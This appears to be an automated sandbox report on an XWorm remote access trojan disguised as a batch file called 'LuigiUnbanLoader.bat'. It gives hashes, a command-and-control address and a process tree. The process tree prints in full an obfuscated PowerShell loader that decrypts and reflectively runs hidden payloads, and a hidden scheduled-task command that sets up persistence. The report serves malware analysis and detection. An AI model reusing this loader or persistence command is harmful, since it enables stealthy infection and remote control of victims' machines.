xworm | c4db1679718dfb67fb33fcedced456035056f41b68fc071379d27d8bd708e6ab

Analysis

max time kernel
148s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
20-01-2025 16:46

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

LuigiUnbanLoader.bat
Size

478KB
MD5

09c4764995d1f2e96d0a228743f2425e
SHA1

0a755c43e147141ec0e9d96d243765af66d1e8a0
SHA256

c4db1679718dfb67fb33fcedced456035056f41b68fc071379d27d8bd708e6ab
SHA512

856759d72b6fff895d336acb8f86ac82ad8560f5229c1cd12baf25bf6ea9ee80035d364c69c00e66bbe9678f788a635f837032a92d3f08008a8343dcc992ff6e
SSDEEP

6144:Y5uDX7kLnB9tGFQe+6YRAFcqLw7DT8ZUXtk9clnD:Yo8LB2FQh64AFcqLw7kZ+uInD

Score

10^/10

xworm execution rat trojan

Malware Config

Extracted

Family

xworm

Version

5.0

80.76.49.227:9999

Mutex

g0vzRORqzebeaKQj

Attributes

install_file
USB.exe

aes.plain

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral2/memory/4384-50-0x00000239E63F0000-0x00000239E63FE000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Blocklisted process makes network request 5 IoCs

flow	pid	Process
15	4384	powershell.exe
87	4384	powershell.exe
90	4384	powershell.exe
97	4384	powershell.exe
98	4384	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3764	powershell.exe
2328	powershell.exe
4384	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000\Control Panel\International\Geo\Nation	WScript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000_Classes\Local Settings	powershell.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
3764	powershell.exe
3764	powershell.exe
2328	powershell.exe
2328	powershell.exe
4384	powershell.exe
4384	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3764	powershell.exe
Token: SeDebugPrivilege	2328	powershell.exe
Token: SeIncreaseQuotaPrivilege	2328	powershell.exe
Token: SeSecurityPrivilege	2328	powershell.exe
Token: SeTakeOwnershipPrivilege	2328	powershell.exe
Token: SeLoadDriverPrivilege	2328	powershell.exe
Token: SeSystemProfilePrivilege	2328	powershell.exe
Token: SeSystemtimePrivilege	2328	powershell.exe
Token: SeProfSingleProcessPrivilege	2328	powershell.exe
Token: SeIncBasePriorityPrivilege	2328	powershell.exe
Token: SeCreatePagefilePrivilege	2328	powershell.exe
Token: SeBackupPrivilege	2328	powershell.exe
Token: SeRestorePrivilege	2328	powershell.exe
Token: SeShutdownPrivilege	2328	powershell.exe
Token: SeDebugPrivilege	2328	powershell.exe
Token: SeSystemEnvironmentPrivilege	2328	powershell.exe
Token: SeRemoteShutdownPrivilege	2328	powershell.exe
Token: SeUndockPrivilege	2328	powershell.exe
Token: SeManageVolumePrivilege	2328	powershell.exe
Token: 33	2328	powershell.exe
Token: 34	2328	powershell.exe
Token: 35	2328	powershell.exe
Token: 36	2328	powershell.exe
Token: SeIncreaseQuotaPrivilege	2328	powershell.exe
Token: SeSecurityPrivilege	2328	powershell.exe
Token: SeTakeOwnershipPrivilege	2328	powershell.exe
Token: SeLoadDriverPrivilege	2328	powershell.exe
Token: SeSystemProfilePrivilege	2328	powershell.exe
Token: SeSystemtimePrivilege	2328	powershell.exe
Token: SeProfSingleProcessPrivilege	2328	powershell.exe
Token: SeIncBasePriorityPrivilege	2328	powershell.exe
Token: SeCreatePagefilePrivilege	2328	powershell.exe
Token: SeBackupPrivilege	2328	powershell.exe
Token: SeRestorePrivilege	2328	powershell.exe
Token: SeShutdownPrivilege	2328	powershell.exe
Token: SeDebugPrivilege	2328	powershell.exe
Token: SeSystemEnvironmentPrivilege	2328	powershell.exe
Token: SeRemoteShutdownPrivilege	2328	powershell.exe
Token: SeUndockPrivilege	2328	powershell.exe
Token: SeManageVolumePrivilege	2328	powershell.exe
Token: 33	2328	powershell.exe
Token: 34	2328	powershell.exe
Token: 35	2328	powershell.exe
Token: 36	2328	powershell.exe
Token: SeIncreaseQuotaPrivilege	2328	powershell.exe
Token: SeSecurityPrivilege	2328	powershell.exe
Token: SeTakeOwnershipPrivilege	2328	powershell.exe
Token: SeLoadDriverPrivilege	2328	powershell.exe
Token: SeSystemProfilePrivilege	2328	powershell.exe
Token: SeSystemtimePrivilege	2328	powershell.exe
Token: SeProfSingleProcessPrivilege	2328	powershell.exe
Token: SeIncBasePriorityPrivilege	2328	powershell.exe
Token: SeCreatePagefilePrivilege	2328	powershell.exe
Token: SeBackupPrivilege	2328	powershell.exe
Token: SeRestorePrivilege	2328	powershell.exe
Token: SeShutdownPrivilege	2328	powershell.exe
Token: SeDebugPrivilege	2328	powershell.exe
Token: SeSystemEnvironmentPrivilege	2328	powershell.exe
Token: SeRemoteShutdownPrivilege	2328	powershell.exe
Token: SeUndockPrivilege	2328	powershell.exe
Token: SeManageVolumePrivilege	2328	powershell.exe
Token: 33	2328	powershell.exe
Token: 34	2328	powershell.exe
Token: 35	2328	powershell.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 1756 wrote to memory of 3764	1756	cmd.exe	83
PID 1756 wrote to memory of 3764	1756	cmd.exe	83
PID 3764 wrote to memory of 2328	3764	powershell.exe	85
PID 3764 wrote to memory of 2328	3764	powershell.exe	85
PID 3764 wrote to memory of 4680	3764	powershell.exe	87
PID 3764 wrote to memory of 4680	3764	powershell.exe	87
PID 4680 wrote to memory of 4848	4680	WScript.exe	88
PID 4680 wrote to memory of 4848	4680	WScript.exe	88
PID 4848 wrote to memory of 4384	4848	cmd.exe	90
PID 4848 wrote to memory of 4384	4848	cmd.exe	90

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\LuigiUnbanLoader.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1756
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('4pr42IAhLNXaMsLDATuTCXnSN37MkzjWlGCxvlpI204='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('mUAA0rhmn7r0Y49Br4h9Tg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $NWFXD=New-Object System.IO.MemoryStream(,$param_var); $TWFke=New-Object System.IO.MemoryStream; $XkRIU=New-Object System.IO.Compression.GZipStream($NWFXD, [IO.Compression.CompressionMode]::Decompress); $XkRIU.CopyTo($TWFke); $XkRIU.Dispose(); $NWFXD.Dispose(); $TWFke.Dispose(); $TWFke.ToArray();}function execute_function($param_var,$param2_var){ $SgoJi=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $obVxl=$SgoJi.EntryPoint; $obVxl.Invoke($null, $param2_var);}$HAian = 'C:\Users\Admin\AppData\Local\Temp\LuigiUnbanLoader.bat';$host.UI.RawUI.WindowTitle = $HAian;$jwIhR=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($HAian).Split([Environment]::NewLine);foreach ($fbsbe in $jwIhR) { if ($fbsbe.StartsWith(':: ')) { $Eaalc=$fbsbe.Substring(3); break; }}$payloads_var=[string[]]$Eaalc.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3764
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_833_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_833.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2328
- - C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_833.vbs"
    3⤵
    - Checks computer location settings
    - Suspicious use of WriteProcessMemory
    PID:4680
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_833.bat" "
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4848
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('4pr42IAhLNXaMsLDATuTCXnSN37MkzjWlGCxvlpI204='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('mUAA0rhmn7r0Y49Br4h9Tg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $NWFXD=New-Object System.IO.MemoryStream(,$param_var); $TWFke=New-Object System.IO.MemoryStream; $XkRIU=New-Object System.IO.Compression.GZipStream($NWFXD, [IO.Compression.CompressionMode]::Decompress); $XkRIU.CopyTo($TWFke); $XkRIU.Dispose(); $NWFXD.Dispose(); $TWFke.Dispose(); $TWFke.ToArray();}function execute_function($param_var,$param2_var){ $SgoJi=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $obVxl=$SgoJi.EntryPoint; $obVxl.Invoke($null, $param2_var);}$HAian = 'C:\Users\Admin\AppData\Roaming\startup_str_833.bat';$host.UI.RawUI.WindowTitle = $HAian;$jwIhR=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($HAian).Split([Environment]::NewLine);foreach ($fbsbe in $jwIhR) { if ($fbsbe.StartsWith(':: ')) { $Eaalc=$fbsbe.Substring(3); break; }}$payloads_var=[string[]]$Eaalc.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        5⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:4384

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
661739d384d9dfd807a089721202900b

SHA1
5b2c5d6a7122b4ce849dc98e79a7713038feac55

SHA256
70c3ecbaa6df88e88df4efc70968502955e890a2248269641c4e2d4668ef61bf

SHA512
81b48ae5c4064c4d9597303d913e32d3954954ba1c8123731d503d1653a0d848856812d2ee6951efe06b1db2b91a50e5d54098f60c26f36bc8390203f4c8a2d8

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
dbbf71e9fb59f80938f09809b160e441

SHA1
8b9a517d846cb9a0a284f77ed88328236a85055f

SHA256
e1de59d46c7c47af2d62f7754524b080a706be6b38d55a03733a10c3675598b1

SHA512
90b75d43ddb81c710fb8fe2fd15b5c05181c774d3f401e47862006adb1703bc65ad8fead4aaf7a28b8e2bbe7249f3de998bd9432c1e62fa8718a19dacc4b8840

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ezjakxwk.gan.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\startup_str_833.bat

Filesize
478KB

MD5
09c4764995d1f2e96d0a228743f2425e

SHA1
0a755c43e147141ec0e9d96d243765af66d1e8a0

SHA256
c4db1679718dfb67fb33fcedced456035056f41b68fc071379d27d8bd708e6ab

SHA512
856759d72b6fff895d336acb8f86ac82ad8560f5229c1cd12baf25bf6ea9ee80035d364c69c00e66bbe9678f788a635f837032a92d3f08008a8343dcc992ff6e

Download Submit
C:\Users\Admin\AppData\Roaming\startup_str_833.vbs

Filesize
115B

MD5
2b324f7b37142013ebdd9c70245e8705

SHA1
831f67e767b635c496c685fe5a6974a06adcdc30

SHA256
ef7e0c7282446c8748b0db139185e0e994d33889f7c75c84fde2399a0db1871a

SHA512
4c77f9cb73fcae728ec57dc8b61c1bf95e7f2ba64a8db71966e552e9c648bf4e323fe542811f4973078dd4af6a336bbe338b6362d59b375c87b52976eeb5997b

Download Submit
memory/2328-17-0x00007FFC04310000-0x00007FFC04DD1000-memory.dmp

Filesize
10.8MB

Download
memory/2328-16-0x00007FFC04310000-0x00007FFC04DD1000-memory.dmp

Filesize
10.8MB

Download
memory/2328-27-0x00007FFC04310000-0x00007FFC04DD1000-memory.dmp

Filesize
10.8MB

Download
memory/2328-30-0x00007FFC04310000-0x00007FFC04DD1000-memory.dmp

Filesize
10.8MB

Download
memory/3764-14-0x0000025B72950000-0x0000025B72982000-memory.dmp

Filesize
200KB

Download
memory/3764-0-0x00007FFC04313000-0x00007FFC04315000-memory.dmp

Filesize
8KB

Download
memory/3764-13-0x0000025B72920000-0x0000025B72928000-memory.dmp

Filesize
32KB

Download
memory/3764-12-0x00007FFC04310000-0x00007FFC04DD1000-memory.dmp

Filesize
10.8MB

Download
memory/3764-11-0x00007FFC04310000-0x00007FFC04DD1000-memory.dmp

Filesize
10.8MB

Download
memory/3764-1-0x0000025B726C0000-0x0000025B726E2000-memory.dmp

Filesize
136KB

Download
memory/3764-51-0x00007FFC04310000-0x00007FFC04DD1000-memory.dmp

Filesize
10.8MB

Download
memory/4384-49-0x00000239E63C0000-0x00000239E63F2000-memory.dmp

Filesize
200KB

Download
memory/4384-50-0x00000239E63F0000-0x00000239E63FE000-memory.dmp

Filesize
56KB

Download